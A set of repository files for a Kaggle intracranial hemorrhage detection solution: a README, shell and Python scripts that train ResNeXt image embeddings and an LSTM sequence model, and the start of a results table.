'resnext101_32x8d_wsl_checkpoint.pth')\n```\n \nThese steps create the below directory tree.\n```\n.\n├── bin\n├── checkpoints\n├── data\n│   └── raw\n│   ├── stage_2_test_images\n│   └── stage_2_train_images\n├── docker\n├── documentation\n├── preds\n└── scripts\n ├── resnext101v01\n │   └── weights\n ├── resnext101v02\n │   └── weights\n └── resnext101v03\n │   └── weights\n └── resnext101v04\n └── weights\n```\n \n### Model Build: There are three options to produce the solution. \n1) fast lstm train and prediction \n a) runs in 3 hours \n b) only trains lstm, used pretrained embeddings \n c) only stage 1 test available for download \n b) uses precomputed resnext embeddings for a single fold \n2) single run on all training data \n a) expect this to run for 2 days \n b) produces single model on all data from scratch \n3) retrain models \n a) expect this to run about 10 days on a single node \n b) trains all models from scratch \n c) makes full bagged submission prediction.\nNote: each time you run/rerun one of the above, you should ensure the `/preds` directory is empty.\n\n#### 1. Fast prediction - train lstm only (~2 hours) \n\n1. Run script `./bin/run_31_fastprediction_only.sh` to download embeddings for a single fold (stage 1 only). This model will achieve a top20 stage 1 result. \n ... if you wish to download stage 2 embeddings run `wget gdown https://drive.google.com/uc?id=1YxCJ0mWIYXfYLN15DPpQ6OLSt4Y54Hp0` \n ... when you rerun you will need to replace the embeddings & torch dataloaders with the above downloaded, and also change the lstm step datapath to `--datapath data` in the lstm run. \n \n#### 2. Retrain single model (2 days) \n \n1. Run script `./bin/run_21_trainsngl_e2e.sh` to train on all data and for 3 epochs only. This was tested end to end and scored `0.04607` on [private stage 2 leaderboard](https://www.kaggle.com/c/rsna-intracranial-hemorrhage-detection/leaderboard).\n\n\n#### 3. Retrain full models (10 days) \n \n1. Run script `sh ./bin/run_12_trainfull_imgclassifier.sh` to train the image pipeline.\n2. Run script `sh ./bin/run_13_trainfull_embedding_extract.sh` to extract image embeddings.\n3. Run script `sh ./bin/run_14_trainfull_sequential.sh` to train the sequential lstm.\n4. Run script `python ./scripts/bagged_submission.py` to create bagged submission.\n\n### Insights on what components worked well \n\n**Preprocessing:**\n- Used Appian’s windowing from dicom images. [Linky](https://github.com/darraghdog/rsna/blob/15ebca153a4f86e8b3e5b760df6ca9e712f05648/scripts/prepare_meta_dicom.py#L65)\n- Cut any black space back to edges of where non-black space begins; although keep the square aspect ratio. [Linky](https://github.com/darraghdog/rsna/blob/15ebca153a4f86e8b3e5b760df6ca9e712f05648/scripts/trainorig.py#L143)\n- Albumentations as mentioned in visual above. [Linky](https://github.com/darraghdog/rsna/blob/15ebca153a4f86e8b3e5b760df6ca9e712f05648/scripts/trainorig.py#L230)\n\n**Image classifier**\n- Resnext101 - did not spend a whole lot of time here as it ran so long. But tested SeResenext and Efficitentnetv0 and they did not work as well. \n- Extract GAP layer at inference time [Linky](https://github.com/darraghdog/rsna/blob/15ebca153a4f86e8b3e5b760df6ca9e712f05648/scripts/trainorig.py#L335) \n\n**Create Sequences**\n- Extract metadata from dicoms (taken from public kernels) : [Linky](https://github.com/darraghdog/rsna/blob/15ebca153a4f86e8b3e5b760df6ca9e712f05648/scripts/prepare_meta_dicom.py#L96) \n- Sequence images on Patient, Study and Series - most sequences were between 24 and 60 images in length. [Linky](https://github.com/darraghdog/rsna/blob/15ebca153a4f86e8b3e5b760df6ca9e712f05648/scripts/trainlstm.py#L132) \n\n**LSTM**\n- Feed in the embeddings in sequence on above key - Patient, Study and Series - also concat on the deltas between current and previous/next embeddings (<current-previous embedding> and <current-next embedding>) to give the model knowledge of changes around the image. [Linky](https://github.com/darraghdog/rsna/blob/15ebca153a4f86e8b3e5b760df6ca9e712f05648/scripts/trainlstm.py#L140) \n- LSTM architecture lifted from the winners of first stage toxic competition. This is a beast - only improvements came from making the hiddens layers larger. Oh, we added on the embeddings to the lstm output and this helped a bit also. [Linky](https://github.com/darraghdog/rsna/blob/15ebca153a4f86e8b3e5b760df6ca9e712f05648/scripts/trainlstm.py#L292) \n- For sequences of different length, padded them to same length, made a dummy embedding of zeros, and then threw the results of this away before calculating loss and saving the predictions. \n\n**What did not help...** \nToo long to do justice... mixup on image, mixup on embedding, augmentations on sequences (partial sequences, reversed sequences), 1d convolutions for sequences (although SeuTao got it working)\n\n**Given more time** \nMake the classifier and the lstm model single end-to-end model. \nTrain all on stage2 data, we only got to train two folds of the image model on stage-2 data.\n \n" }, { "alpha_fraction": 0.5388994216918945, "alphanum_fraction": 0.5948766469955444, "avg_line_length": 41.15999984741211, "blob_id": "52b915fe0351f326dbe784fd105f67a8f6454937", "content_id": "00276644a4e856d7de586288ffe53baac49ce2f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1054, "license_type": "no_license", "max_line_length": 135, "num_lines": 25, "path": "/bin/run_12_trainfull_embedding_extract.sh", "repo_name": "hbcho87/rsna", "src_encoding": "UTF-8", "text": "N_GPU=2\nFOLD=0\nSIZE='480'\n\n# Run for image classifier with crop and without crop\nfor WDIR in 'resnext101v01' 'resnext101v02'\ndo\n # Run for 3 folds\n for FOLD in 0 1 2\n do \n for HFLIP in F T\n do\n # Extract original and flipped image embeddings\n python3 scripts/trainorig.py \\\n --logmsg Rsna-lb-$SIZE-fp16 --start 0 --epochs 6 --fold $FOLD --lr 0.00002 --batchsize 32 --workpath scripts/$WDIR \\\n --stage2 T --hflip $HFLIP --transpose F --infer EMB --imgpath data/proc/ --size $SIZE \\\n --weightsname weights/model_512_resnext101$FOLD.bin\n done\n # Extract transposed image embeddings\n python3 scripts/trainorig.py \\\n --logmsg Rsna-lb-$SIZE-fp16 --start 0 --epochs 6 --fold $FOLD --lr 0.00002 --batchsize 32 --workpath scripts/$WDIR \\\n --stage2 T --hflip F --transpose T --infer EMB --imgpath data/proc/ --size $SIZE \\\n --weightsname weights/model_512_resnext101$FOLD.bin\n done\ndone\n" }, { "alpha_fraction": 0.7214377522468567, "alphanum_fraction": 0.7458279728889465, "avg_line_length": 30.15999984741211, "blob_id": "922baa57112aa368caf4130831118a1f87751dbe", "content_id": "e0a04948a931076951f5612312fc605426845b77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 779, "license_type": "no_license", "max_line_length": 100, "num_lines": 25, "path": "/scripts/bagged_submission.py", "repo_name": "hbcho87/rsna", "src_encoding": "UTF-8", "text": "import sys\nimport os\nimport numpy as np\nimport pandas as pd\nimport glob\nsys.path.insert(0, 'scripts')\nfrom logs import get_logger\nfrom utils import dumpobj, loadobj, GradualWarmupScheduler\n\nlogger = get_logger('Make submission', 'INFO') # noqa\n\n\nlabel_cols = ['epidural', 'intraparenchymal', 'intraventricular', 'subarachnoid', 'subdural', 'any']\nseqpredsls = glob.glob('preds/lstm*sub*')\nlogger.info('Load files')\nfor f in seqpredsls: logger.info(f)\nlstmlssub = [pd.read_csv(fname, index_col= 'ID') for fname in seqpredsls]\n\nlogger.info('Bag subs')\nylstmsub = sum(lstmlssub)/len(lstmlssub)\nylstmsub = ylstmsub.clip(0.00001, 0.99999)\n\n#ylstmsub.Label[ylstmsub.Label>0.03].hist(bins=100)\nlogger.info('Create submission')\nylstmsub.to_csv('submission.csv.gz', compression = 'gzip')\n" }, { "alpha_fraction": 0.4906832277774811, "alphanum_fraction": 0.5817805528640747, "avg_line_length": 29.125, "blob_id": "af0cfe2afa3ddda08c3ecf9be5b663fdd2f0bfc9", "content_id": "f458989599c3ed2cc155ed8ffd2873c7a00fd738", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 483, "license_type": "no_license", "max_line_length": 135, "num_lines": 16, "path": "/bin/run_13_trainfull_sequential.sh", "repo_name": "hbcho87/rsna", "src_encoding": "UTF-8", "text": "N_GPU=1\nFOLD=0\nSIZE='480'\n\nfor WDIR in 'resnext101v01' 'resnext101v02'\ndo\n for GEPOCH in 0 1 2 3 4 \n do\n for FOLD in 0 1 2\n do\n python3 scripts/trainlstm.py \\\n --logmsg Rsna-lstm-$GEPOCH-$FOLD-fp16 --epochs 12 --fold $FOLD --lr 0.00001 --batchsize 4 --workpath scripts/$WDIR \\\n --ttahflip T --ttatranspose T --lrgamma 0.95 --nbags 12 --globalepoch $GEPOCH --loadcsv F --lstm_units 2048\n done\n done\ndone\n\n" }, { "alpha_fraction": 0.7332186102867126, "alphanum_fraction": 0.7805507779121399, "avg_line_length": 30.405405044555664, "blob_id": "27a643142fb7f18dcc4b1ce94294713fe7b6ad28", "content_id": "588eed6ff42237bbf6d073cfdea05e9acb52f316", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1162, "license_type": "no_license", "max_line_length": 112, "num_lines": 37, "path": "/bin/run_01_prepare_data.sh", "repo_name": "hbcho87/rsna", "src_encoding": "UTF-8", "text": "# Parameters\n# Clone repo https://github.com/darraghdog/rsna and set the location as ROOT directory\n#ROOT='/mnt/lsf/share/dhanley2/rsna'\nROOT='/mnt/d/Kaggle/ICT_2'\nRAW_DATA_DIR=$ROOT/data/raw\nCLEAN_DATA_DIR=$ROOT/data\nCKPTDIR=$ROOT/checkpoints\nCKPTURL='https://darraghdog1.s3-eu-west-1.amazonaws.com/resnext101_32x8d_wsl_checkpoint.pth'\n\n# Create directory structures\n# mkdir -p $RAW_DATA_DIR\nmkdir $ROOT/checkpoints\nmkdir $ROOT/preds\nmkdir $ROOT/data/proc\nmkdir -p $ROOT/scripts/resnext101v01/weights\nmkdir -p $ROOT/scripts/resnext101v02/weights\nmkdir -p $ROOT/scripts/resnext101v03/weights\nmkdir -p $ROOT/scripts/resnext101v04/weights\n\n# Download checkpoint\ncd $CKPTDIR\n#wget https://download.pytorch.org/models/ig_resnext101_32x8-c38310e5.pth -O resnext101_32x8d_wsl_checkpoint.pth\nwget $CKPTURL -O resnext101_32x8d_wsl_checkpoint.pth\ncd $ROOT\n\n# Unzip competition data \ncd $RAW_DATA_DIR\n#unzip -qq rsna-intracranial-hemorrhage-detection.zip\ncd $ROOT\n\n# Copy csv files to data directory\nunzip $RAW_DATA_DIR/*.csv* \ncp $RAW_DATA_DIR/*.csv* $CLEAN_DATA_DIR/\n\n# Prepare images and metadata\n#python scripts/prepare_meta_dicom.py\n#python scripts/prepare_folds.py\n" }, { "alpha_fraction": 0.6354453563690186, "alphanum_fraction": 0.6470959782600403, "avg_line_length": 42.45386505126953, "blob_id": "83765d6359d55bce2e1e17e5fc3cb3bdd58b130b", "content_id": "b977ea2f7ebc783d2bd8697048359ad85af0e62e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17424, "license_type": "no_license", "max_line_length": 146, "num_lines": 401, "path": "/scripts/trainlstm_hbcho.py", "repo_name": "hbcho87/rsna", "src_encoding": "UTF-8", "text": "import numpy as np\nimport csv, gzip, os, sys, gc\nimport math\nimport torch\nfrom torch import nn\nimport torch.optim as optim\nfrom torch.nn import functional as F\n\nimport logging\nimport datetime\nimport optparse\nimport pandas as pd\nimport os\nfrom sklearn.metrics import log_loss\nimport ast\nfrom torch.utils.data import Dataset\nfrom sklearn.metrics import log_loss\nfrom torch.utils.data import DataLoader\nfrom scipy.ndimage import uniform_filter\nfrom torch.optim.lr_scheduler import StepLR\n\nfrom apex.parallel import DistributedDataParallel as DDP\nfrom apex.fp16_utils import *\nfrom apex import amp, optimizers\nfrom apex.multi_tensor_apply import multi_tensor_applier\n\n\n# Print info about environments\nparser = optparse.OptionParser()\nparser.add_option('-s', '--seed', action=\"store\", dest=\"seed\", help=\"model seed\", default=\"1234\")\nparser.add_option('-o', '--fold', action=\"store\", dest=\"fold\", help=\"Fold for split\", default=\"0\")\nparser.add_option('-p', '--nbags', action=\"store\", dest=\"nbags\", help=\"Number of bags for averaging\", default=\"4\")\nparser.add_option('-e', '--epochs', action=\"store\", dest=\"epochs\", help=\"epochs\", default=\"10\")\nparser.add_option('-b', '--batchsize', action=\"store\", dest=\"batchsize\", help=\"batch size\", default=\"4\")\nparser.add_option('-r', '--rootpath', action=\"store\", dest=\"rootpath\", help=\"root directory\", default=\"\")\nparser.add_option('-i', '--imgpath', action=\"store\", dest=\"imgpath\", help=\"root directory\", default=\"data/mount/512X512X6/\")\nparser.add_option('-w', '--workpath', action=\"store\", dest=\"workpath\", help=\"Working path\", default=\"densenetv1/weights\")\nparser.add_option('-f', '--weightsname', action=\"store\", dest=\"weightsname\", help=\"Weights file name\", default=\"pytorch_model.bin\")\nparser.add_option('-l', '--lr', action=\"store\", dest=\"lr\", help=\"learning rate\", default=\"0.00005\")\nparser.add_option('-g', '--logmsg', action=\"store\", dest=\"logmsg\", help=\"root directory\", default=\"Recursion-pytorch\")\nparser.add_option('-c', '--size', action=\"store\", dest=\"size\", help=\"model size\", default=\"480\")\nparser.add_option('-a', '--globalepoch', action=\"store\", dest=\"globalepoch\", help=\"root directory\", default=\"3\")\nparser.add_option('-n', '--loadcsv', action=\"store\", dest=\"loadcsv\", help=\"Convert csv embeddings to numpy\", default=\"F\")\nparser.add_option('-j', '--lstm_units', action=\"store\", dest=\"lstm_units\", help=\"Lstm units\", default=\"128\")\nparser.add_option('-d', '--dropout', action=\"store\", dest=\"dropout\", help=\"LSTM input spatial dropout\", default=\"0.3\")\nparser.add_option('-z', '--decay', action=\"store\", dest=\"decay\", help=\"Weight Decay\", default=\"0.0\")\nparser.add_option('-m', '--lrgamma', action=\"store\", dest=\"lrgamma\", help=\"Scheduler Learning Rate Gamma\", default=\"1.0\")\nparser.add_option('-k', '--ttahflip', action=\"store\", dest=\"ttahflip\", help=\"Bag with horizontal flip on and off\", default=\"F\")\nparser.add_option('-q', '--ttatranspose', action=\"store\", dest=\"ttatranspose\", help=\"Bag with horizontal flip on and off\", default=\"F\")\nparser.add_option('-x', '--datapath', action=\"store\", dest=\"datapath\", help=\"Data path\", default=\"data\")\n\n\noptions, args = parser.parse_args()\npackage_dir = options.rootpath\nsys.path.append(package_dir)\nsys.path.insert(0, 'scripts')\nfrom logs import get_logger\nfrom utils import dumpobj, loadobj, GradualWarmupScheduler\n\n# Print info about environments\nlogger = get_logger(options.logmsg, 'INFO') # noqa\nlogger.info('Cuda set up : time {}'.format(datetime.datetime.now().time()))\n\ndevice=torch.device('cuda')\nlogger.info('Device : {}'.format(torch.cuda.get_device_name(0)))\nlogger.info('Cuda available : {}'.format(torch.cuda.is_available()))\nn_gpu = torch.cuda.device_count()\nlogger.info('Cuda n_gpus : {}'.format(n_gpu ))\n\nlogger.info('Load params : time {}'.format(datetime.datetime.now().time()))\nfor (k,v) in options.__dict__.items():\n logger.info('{}{}'.format(k.ljust(20), v))\n \nSEED = int(options.seed)\nSIZE = int(options.size)\nEPOCHS = int(options.epochs)\nGLOBALEPOCH=int(options.globalepoch)\nn_epochs = EPOCHS \nlr=float(options.lr)\nlrgamma=float(options.lrgamma)\nDECAY=float(options.decay)\nbatch_size = int(options.batchsize)\nROOT = options.rootpath\npath_data = os.path.join(ROOT, options.datapath)\nWORK_DIR = os.path.join(ROOT, options.workpath)\npath_emb = os.path.join(ROOT, options.workpath)\n\nWEIGHTS_NAME = options.weightsname\nfold = int(options.fold)\nLOADCSV= options.loadcsv=='T'\nLSTM_UNITS=int(options.lstm_units)\nnbags=int(options.nbags)\nDROPOUT=float(options.dropout)\nTTAHFLIP= 'T' if options.ttahflip=='T' else ''\nTTATRANSPOSE= 'P' if options.ttatranspose=='T' else ''\nn_classes = 6\nlabel_cols = ['epidural', 'intraparenchymal', 'intraventricular', 'subarachnoid', 'subdural', 'any']\n\n\ndef makeSub(ypred, imgs):\n imgls = np.array(imgs).repeat(len(label_cols)) \n icdls = pd.Series(label_cols*ypred.shape[0]) \n yidx = ['{}_{}'.format(i,j) for i,j in zip(imgls, icdls)]\n subdf = pd.DataFrame({'ID' : yidx, 'Label': ypred.flatten()})\n return subdf\n\nclass SpatialDropout(nn.Dropout2d):\n def forward(self, x):\n x = x.unsqueeze(2) # (N, T, 1, K)\n x = x.permute(0, 3, 2, 1) # (N, K, 1, T)\n x = super(SpatialDropout, self).forward(x) # (N, K, 1, T), some features are masked\n x = x.permute(0, 3, 2, 1) # (N, T, 1, K)\n x = x.squeeze(2) # (N, T, K)\n return x\n\ndef criterion(data, targets, criterion = torch.nn.BCEWithLogitsLoss()):\n ''' Define custom loss function for weighted BCE on 'target' column '''\n loss_all = criterion(data, targets)\n loss_any = criterion(data[:,-1:], targets[:,-1:])\n return (loss_all*6 + loss_any*1)/7\n\nclass IntracranialDataset(Dataset):\n def __init__(self, df, mat, labels=label_cols):\n self.data = df\n self.mat = mat\n self.labels = labels\n self.patients = df.SliceID.unique()\n self.data = self.data.set_index('SliceID')\n\n def __len__(self):\n return len(self.patients)\n\n def __getitem__(self, idx):\n \n patidx = self.patients[idx]\n patdf = self.data.loc[patidx].sort_values('seq')\n patemb = self.mat[patdf['embidx'].values]\n\n patdeltalag = np.zeros(patemb.shape)\n patdeltalead = np.zeros(patemb.shape)\n patdeltalag [1:] = patemb[1:]-patemb[:-1]\n patdeltalead[:-1] = patemb[:-1]-patemb[1:]\n\n patemb = np.concatenate((patemb, patdeltalag, patdeltalead), -1)\n \n ids = torch.tensor(patdf['embidx'].values)\n\n if self.labels:\n labels = torch.tensor(patdf[label_cols].values)\n return {'emb': patemb, 'embidx' : ids, 'labels': labels} \n else: \n return {'emb': patemb, 'embidx' : ids}\n\ndef predict(loader):\n valls = []\n imgls = []\n imgdf = loader.dataset.data.reset_index().set_index('embidx')[['Image']].copy()\n for step, batch in enumerate(loader):\n inputs = batch[\"emb\"]\n mask = batch['mask'].to(device, dtype=torch.int)\n inputs = inputs.to(device, dtype=torch.float)\n logits = model(inputs)\n # get the mask for masked labels\n maskidx = mask.view(-1)==1\n # reshape for\n logits = logits.view(-1, n_classes)[maskidx]\n valls.append(torch.sigmoid(logits).detach().cpu().numpy())\n # Get the list of images\n embidx = batch[\"embidx\"].detach().cpu().numpy().astype(np.int32)\n embidx = embidx.flatten()[embidx.flatten()>-1]\n images = imgdf.loc[embidx].Image.tolist() \n imgls += images\n return np.concatenate(valls, 0), imgls\n\n# Print info about environments\nlogger.info('Cuda set up : time {}'.format(datetime.datetime.now().time()))\n\n# Get image sequences\ntrnmdf = pd.read_csv(os.path.join(path_data, 'train_metadata.csv.gz'))\ntstmdf = pd.read_csv(os.path.join(path_data, 'test_metadata.csv.gz'))\n\ntrnmdf['SliceID'] = trnmdf[['PatientID', 'SeriesInstanceUID', 'StudyInstanceUID']].apply(lambda x: '{}__{}__{}'.format(*x.tolist()), 1)\ntstmdf['SliceID'] = tstmdf[['PatientID', 'SeriesInstanceUID', 'StudyInstanceUID']].apply(lambda x: '{}__{}__{}'.format(*x.tolist()), 1)\n\nposcols = ['ImagePos{}'.format(i) for i in range(1, 4)]\ntrnmdf[poscols] = pd.DataFrame(trnmdf['ImagePositionPatient']\\\n .apply(lambda x: list(map(float, ast.literal_eval(x)))).tolist())\ntstmdf[poscols] = pd.DataFrame(tstmdf['ImagePositionPatient']\\\n .apply(lambda x: list(map(float, ast.literal_eval(x)))).tolist())\n\ntrnmdf['seq'] = (trnmdf.groupby(['SliceID']).cumcount() + 1)\ntstmdf['seq'] = (tstmdf.groupby(['SliceID']).cumcount() + 1)\n\nkeepcols = ['PatientID', 'SliceID', 'SOPInstanceUID', 'seq']\ntrnmdf = trnmdf[keepcols]\ntstmdf = tstmdf[keepcols]\n\ntrnmdf.columns = tstmdf.columns = ['PatientID', 'SliceID', 'Image', 'seq']\n\n# Load Data Frames\ntrndf = loadobj(os.path.join(path_emb, 'loader_trn_size{}_fold{}_ep{}'.format(SIZE, fold, GLOBALEPOCH))).dataset.data\nvaldf = loadobj(os.path.join(path_emb, 'loader_val_size{}_fold{}_ep{}'.format(SIZE, fold, GLOBALEPOCH))).dataset.data\ntstdf = loadobj(os.path.join(path_emb, 'loader_tst_size{}_fold{}_ep{}'.format(SIZE, fold, GLOBALEPOCH))).dataset.data\n\ntrndf['embidx'] = range(trndf.shape[0])\nvaldf['embidx'] = range(valdf.shape[0])\ntstdf['embidx'] = range(tstdf.shape[0])\n\ntrndf = trndf.merge(trnmdf.drop('PatientID', 1), on = 'Image')\nvaldf = valdf.merge(trnmdf.drop('PatientID', 1), on = 'Image')\ntstdf = tstdf.merge(tstmdf, on = 'Image')\n\nlogger.info('Trn df shape {} {}'.format(*trndf.shape))\nlogger.info('Val df shape {} {}'.format(*valdf.shape))\nlogger.info('Tst df shape {} {}'.format(*tstdf.shape))\n\n\n# Load embeddings\nembnm='emb_sz256_wt256_fold{}_epoch{}'.format(fold, GLOBALEPOCH)\nlogger.info('Load npy..')\n\ndef loademb(TYPE, SIZE, fold, GLOBALEPOCH, TTA=''):\n return np.load(os.path.join(path_emb, 'emb{}_{}_size{}_fold{}_ep{}.npz'.format(TTA, TYPE, SIZE, fold, GLOBALEPOCH)))['arr_0']\n\nlogger.info('Load embeddings...')\ntrnembls = [loademb('trn', SIZE, fold, GLOBALEPOCH)]\nvalembls = [loademb('val', SIZE, fold, GLOBALEPOCH)]\ntstembls = [loademb('tst', SIZE, fold, GLOBALEPOCH)]\n\nif TTAHFLIP=='T':\n logger.info('Load hflip...')\n trnembls.append(loademb('trn', SIZE, fold, GLOBALEPOCH, TTA='T'))\n valembls.append(loademb('val', SIZE, fold, GLOBALEPOCH, TTA='T'))\n tstembls.append(loademb('tst', SIZE, fold, GLOBALEPOCH, TTA='T'))\nif TTATRANSPOSE=='P':\n logger.info('Load transpose...')\n trnembls.append(loademb('trn', SIZE, fold, GLOBALEPOCH, TTA='P'))\n valembls.append(loademb('val', SIZE, fold, GLOBALEPOCH, TTA='P'))\n tstembls.append(loademb('tst', SIZE, fold, GLOBALEPOCH, TTA='P'))\n\ntrnemb = sum(trnembls)/len(trnembls)\nvalemb = sum(valembls)/len(valembls)\ntstemb = sum(tstembls)/len(tstembls)\n\nlogger.info('Trn shape {} {}'.format(*trnemb.shape))\nlogger.info('Val shape {} {}'.format(*valemb.shape))\nlogger.info('Tst shape {} {}'.format(*tstemb.shape))\nlogger.info('Add stg1 test labels to train')\ndel trnembls, valembls, tstembls\ngc.collect()\n\n# a simple custom collate function, just to show the idea\ndef collatefn(batch):\n maxlen = max([l['emb'].shape[0] for l in batch])\n embdim = batch[0]['emb'].shape[1]\n withlabel = 'labels' in batch[0]\n if withlabel:\n labdim= batch[0]['labels'].shape[1]\n \n for b in batch:\n masklen = maxlen-len(b['emb'])\n b['emb'] = np.vstack((np.zeros((masklen, embdim)), b['emb']))\n b['embidx'] = torch.cat((torch.ones((masklen),dtype=torch.long)*-1, b['embidx']))\n b['mask'] = np.ones((maxlen))\n b['mask'][:masklen] = 0.\n if withlabel:\n b['labels'] = np.vstack((np.zeros((maxlen-len(b['labels']), labdim)), b['labels']))\n \n outbatch = {'emb' : torch.tensor(np.vstack([np.expand_dims(b['emb'], 0) \\\n for b in batch])).float()} \n outbatch['mask'] = torch.tensor(np.vstack([np.expand_dims(b['mask'], 0) \\\n for b in batch])).float()\n outbatch['embidx'] = torch.tensor(np.vstack([np.expand_dims(b['embidx'], 0) \\\n for b in batch])).float()\n if withlabel:\n outbatch['labels'] = torch.tensor(np.vstack([np.expand_dims(b['labels'], 0) for b in batch])).float()\n return outbatch\n\nlogger.info('Create loaders...')\ntrndataset = IntracranialDataset(trndf, trnemb, labels=True)\ntrnloader = DataLoader(trndataset, batch_size=batch_size, shuffle=True, num_workers=8, collate_fn=collatefn)\n\nvaldataset = IntracranialDataset(valdf, valemb, labels=False)\ntstdataset = IntracranialDataset(tstdf, tstemb, labels=False)\n\ntstloader = DataLoader(tstdataset, batch_size=batch_size*4, shuffle=False, num_workers=8, collate_fn=collatefn)\nvalloader = DataLoader(valdataset, batch_size=batch_size*4, shuffle=False, num_workers=8, collate_fn=collatefn)\n\n\n# https://www.kaggle.com/bminixhofer/speed-up-your-rnn-with-sequence-bucketing\nclass NeuralNet(nn.Module):\n def __init__(self, embed_size=trnemb.shape[-1]*3, LSTM_UNITS=64, DO = 0.3):\n super(NeuralNet, self).__init__()\n \n self.embedding_dropout = SpatialDropout(0.0) #DO)\n \n self.lstm1 = nn.LSTM(embed_size, LSTM_UNITS, bidirectional=True, batch_first=True)\n self.lstm2 = nn.LSTM(LSTM_UNITS * 2, LSTM_UNITS, bidirectional=True, batch_first=True)\n\n self.linear1 = nn.Linear(LSTM_UNITS*2, LSTM_UNITS*2)\n self.linear2 = nn.Linear(LSTM_UNITS*2, LSTM_UNITS*2)\n\n self.linear = nn.Linear(LSTM_UNITS*2, n_classes)\n\n def forward(self, x, lengths=None):\n h_embedding = x\n\n h_embadd = torch.cat((h_embedding[:,:,:2048], h_embedding[:,:,:2048]), -1)\n \n h_lstm1, _ = self.lstm1(h_embedding)\n h_lstm2, _ = self.lstm2(h_lstm1)\n \n h_conc_linear1 = F.relu(self.linear1(h_lstm1))\n h_conc_linear2 = F.relu(self.linear2(h_lstm2))\n \n hidden = h_lstm1 + h_lstm2 + h_conc_linear1 + h_conc_linear2 + h_embadd\n\n output = self.linear(hidden)\n \n return output\n\nlogger.info('Create model')\nmodel = NeuralNet(LSTM_UNITS=LSTM_UNITS, DO = DROPOUT)\nmodel = model.to(device)\n\nparam_optimizer = list(model.named_parameters())\nno_decay = ['bias', 'LayerNorm.bias', 'LayerNorm.weight']\nplist = [\n {'params': [p for n, p in param_optimizer if not any(nd in n for nd in no_decay)], 'weight_decay': DECAY},\n {'params': [p for n, p in param_optimizer if any(nd in n for nd in no_decay)], 'weight_decay': 0.0}\n ]\noptimizer = optim.Adam(plist, lr=lr)\nscheduler = StepLR(optimizer, 1, gamma=lrgamma, last_epoch=-1)\nmodel, optimizer = amp.initialize(model, optimizer, opt_level=\"O1\")\n\nypredls = []\nypredtstls = []\nif not os.path.exists(WORK_DIR + '/weights'):\n os.mkdir(WORK_DIR + '/weights')\nfor epoch in range(EPOCHS):\n tr_loss = 0.\n for param in model.parameters():\n param.requires_grad = True\n model.train() \n for step, batch in enumerate(trnloader):\n y = batch['labels'].to(device, dtype=torch.float)\n mask = batch['mask'].to(device, dtype=torch.int)\n x = batch['emb'].to(device, dtype=torch.float)\n x = torch.autograd.Variable(x, requires_grad=True)\n y = torch.autograd.Variable(y)\n logits = model(x).to(device, dtype=torch.float)\n # get the mask for masked labels\n maskidx = mask.view(-1)==1\n y = y.view(-1, n_classes)[maskidx]\n logits = logits.view(-1, n_classes)[maskidx]\n # Get loss\n loss = criterion(logits, y)\n \n tr_loss += loss.item()\n optimizer.zero_grad()\n with amp.scale_loss(loss, optimizer) as scaled_loss:\n scaled_loss.backward()\n optimizer.step()\n if step%1000==0:\n logger.info('Trn step {} of {} trn lossavg {:.5f}'. \\\n format(step, len(trnloader), (tr_loss/(1+step))))\n output_model_file = os.path.join(WORK_DIR, 'weights/lstm_gepoch{}_lstmepoch{}_fold{}.bin'.format(GLOBALEPOCH, epoch, fold))\n torch.save(model.state_dict(), output_model_file)\n\n scheduler.step()\n model.eval()\n '''\n logger.info('Prep val score...')\n ypred, imgval = predict(valloader)\n ypredls.append(ypred)\n \n yvalpred = sum(ypredls[-nbags:])/len(ypredls[-nbags:])\n yvalout = makeSub(yvalpred, imgval)\n yvalp = makeSub(ypred, imgval)\n \n # get Val score\n weights = ([1, 1, 1, 1, 1, 2] * ypred.shape[0])\n yact = valloader.dataset.data[label_cols].values#.flatten()\n yact = makeSub(yact, valloader.dataset.data['Image'].tolist())\n yact = yact.set_index('ID').loc[yvalout.ID].reset_index()\n valloss = log_loss(yact['Label'].values, yvalp['Label'].values.clip(.00001,.99999) , sample_weight = weights)\n vallossavg = log_loss(yact['Label'].values, yvalout['Label'].values.clip(.00001,.99999) , sample_weight = weights)\n logger.info('Epoch {} val logloss {:.5f} bagged {:.5f}'.format(epoch, valloss, vallossavg))\n '''\n logger.info('Prep test sub...')\n ypred, imgtst = predict(tstloader)\n ypredtstls.append(ypred)\n \nif not os.path.exists('../preds'):\n os.mkdir('../preds')\n\nlogger.info('Write out bagged prediction to preds folder')\nytstpred = sum(ypredtstls[-nbags:])/len(ypredtstls[-nbags:])\nytstout = makeSub(ytstpred, imgtst)\nytstout.to_csv('../preds/lstm{}{}{}_{}_epoch{}_sub_{}.csv.gz'.format(TTAHFLIP, TTATRANSPOSE, LSTM_UNITS, WORK_DIR.split('/')[-1], epoch, embnm), \\\n index = False, compression = 'gzip')" }, { "alpha_fraction": 0.4392330050468445, "alphanum_fraction": 0.6264312267303467, "avg_line_length": 167.58139038085938, "blob_id": "e16fb1e525b194ac660b1111d7d096e19fa5673b", "content_id": "baa9dd209b3a39dc01b75cd60d88c612d74e25fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 7249, "license_type": "no_license", "max_line_length": 376, "num_lines": 43, "path": "/RESULTS.md", "repo_name": "hbcho87/rsna", "src_encoding": "UTF-8", "text": "### Validation and Leaderboard Progress Stage 2\n\n| Model (`.scripts/` folder) |Image Size|LSTM Epochs|Bag|TTA |Fold|Val |Stg1 Test |LB Public / Private|Comment |\n| ---------------|----------|------|---|----|----|--------|----|------|---------------------------------|\n| ResNeXt-101 32x8d retrained v12 fold 0 1 w/stg2 (v12&v13) with LSTM |480 |5 |LSTM 12X | v12 0 1 2- hflip transpose; v13 0 - hflip |0 1 2 0 1 2 (v12 v13) |0.05622, 0.05775, 0.05604, 0.05648, 0.05775, 0.05534 |--- |0.697 / 0.044 | Incl stage 1 test, `resnextv12/run_train1024lstmdeltattasum.sh` `resnextv12/run_train1024lstmdeltattasum.sh` & `eda/val_lstm_v22.py` |\n| ResNeXt-101 32x8d (v12&v13) with LSTM |480 |5 |LSTM 12X | v12 0 1 2- hflip transpose; v13 0 - hflip |0 1 2 0 1 2 (v12 v13) |0.05654, 0.05807, 0.05604, 0.05648, 0.05775, 0.05534 |0.4544 |0.654 